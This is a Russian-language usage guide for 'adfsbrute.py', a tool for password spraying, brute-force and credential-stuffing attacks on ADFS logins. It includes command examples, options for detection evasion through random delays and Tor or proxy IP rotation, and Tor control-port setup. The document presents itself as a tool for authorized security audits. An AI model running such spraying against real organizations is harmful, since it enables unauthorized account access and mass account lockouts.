
Скрипт для проверки учетных данных в Active Directory Federation Services (ADFS), позволяющий выполнять распыление паролей или брутфорс-атаки.
Скрипт для проверки учетных данных в службах федерации Active Directory (ADFS), вычисляющий URL-адрес ADFS организации и позволяющий проводить атаки методом распыления паролей или подбора.
Основная идея — проведение атак распыления паролей со случайной и большой задержкой между каждым тестом, а также использование списка прокси или Tor для затруднения обнаружения синей командой. Также возможны атаки полным перебором или проверка учетных данных в формате имя_пользователя:пароль (например, из Pwndb). Проверенные логины сохраняются в файл журнала, чтобы избежать повторной проверки.
./adfsbrute.py -t TARGET [-u USER] [-U USER_LIST] [-p PASSWORD] [-P PASSWORD_LIST] [-UL userpassword_list]
[-m MIN_TIME] [-M MAX_TIME] [-tp TOR_PASSWORD] [-pl PROXY_LIST] [-n NUMBER_OF_REQUESTS_PER_IP]
[-s STOP_ON_SUCCESS] [-r RANDOM_COMBINATIONS] [-d DEBUG] [-l LOG_FILE]
Параметры атак:
-t: Целевой домен. Пример: test.com
-u: Одиночное имя пользователя. Пример: [email protected]
-U: Файл со списком имен пользователей. Пример: users.txt
-p: Одиночный пароль. Пример: Company123
-P: Файл со списком паролей. Пример: passwords.txt
-UP: Файл со списком учетных данных в формате "username:password". Пример: userpass.txt
-m: Минимальное значение случайной задержки (сек) между тестами. По умолчанию: 30
-M: Максимальное значение случайной задержки (сек) между тестами. По умолчанию: 60
-tp: Пароль Tor (смена IP-адресов с помощью Tor)
-pl: Использовать список прокси (смена IP-адресов с помощью списка прокси-IP)
-n: Количество запросов перед сменой IP-адреса (используется с -tp или -pl). По умолчанию: 1
-s: Останавливаться при успехе, когда найдена одна правильная учетная запись. По умолчанию: False
-r: Рандомизировать комбинацию пользователей и паролей. По умолчанию: True
-d: Показывать отладочные сообщения. По умолчанию: True
-l: Путь к файлу журнала с уже проверенными учетными данными. По умолчанию: tested.txt
Распыление паролей с паролем "Company123", пароль Tor — "test123", смена IP каждые 3 запроса:
python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -n 3
Распыление паролей с паролем "Company123", пароль Tor — "test123", смена IP при каждом запросе, случайная задержка от 10 до 20 секунд, без рандомизации порядка пользователей:
python3 adfsbrute.py -t company.com -U users.txt -p Company123 -tp test123 -m 10 -M 20 -r False
Поиск URL-адреса ADFS:
python3 adfsbrute.py -t company.com
Чтобы использовать Tor для смены IP при каждом запросе, необходимо хешировать пароль:
tor --hash-password test123
В файле /etc/tor/torrc раскомментируйте переменную ControlPort и переменную HashedControlPassword, а в последнюю добавьте хеш:
ControlPort 9051
HashedControlPassword 16:7F314CAB402A81F860B3EE449B743AEC0DED9F27FA41831737E2F08F87
Перезапустите службу Tor и используйте этот пароль в качестве аргумента для скрипта ("-tp test123" или "--tor_password 123")
service tor restart
Этот скрипт предназначен для тестирования в рамках аудитов безопасности. НЕ ИСПОЛЬЗУЙТЕ его без надлежащего разрешения от компании, владеющей ADFS, иначе вы заблокируете учетные записи.